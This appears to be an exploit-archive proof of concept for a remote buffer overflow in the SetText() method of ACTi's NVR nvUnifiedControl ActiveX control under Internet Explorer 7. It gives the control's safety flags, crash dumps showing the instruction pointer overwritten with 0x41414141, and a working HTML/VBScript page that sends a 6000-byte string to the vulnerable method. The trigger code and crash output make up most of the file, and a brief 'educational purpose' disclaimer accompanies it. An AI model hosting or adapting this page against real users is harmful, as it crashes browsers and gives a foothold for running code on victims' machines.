nvr-settext-dos.txt

`-----------------------------------------------------------------------------------  
NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)  
"SetText()" Remote BoF  
url: http://www.acti.com/index.asp  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
  
This control is marked as:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller  
KillBitSet: Falso  
  
Here it is a dump from faultmon:  
11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)  
----------------------------------------------------------------  
Exception C0000005 (ACCESS_VIOLATION reading [4141447D])  
----------------------------------------------------------------  
EAX=05494A60: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  
EBX=00001770: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ESP=0188EC38: 2C ED 88 01 00 00 00 00-18 6F B3 04 58 E0 34 05  
EBP=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ESI=05499B70: 73 6F 6D 65 74 68 69 6E-67 00 00 00 00 00 00 00  
EDI=05492390: 68 D0 89 05 70 17 00 00-71 17 00 00 72 17 00 00  
EIP=0527BC3D: 8B 82 3C 03 00 00 8B 94-24 DC 00 00 00 51 0F BF  
--> MOV EAX,[EDX+0000033C]  
----------------------------------------------------------------  
  
11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)  
----------------------------------------------------------------  
Exception C0000005 (ACCESS_VIOLATION reading [41414141])  
----------------------------------------------------------------  
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00  
ESP=0188E868: BF 37 91 7C 50 E9 88 01-DC EC 88 01 6C E9 88 01  
EBP=0188E888: 38 E9 88 01 8B 37 91 7C-50 E9 88 01 DC EC 88 01  
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
--> N/A  
----------------------------------------------------------------  
-----------------------------------------------------------------------------------  
  
<object classid='clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
buff = String(6000, "A")  
test.SetText 1, buff, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1  
End Sub  
</script>  
`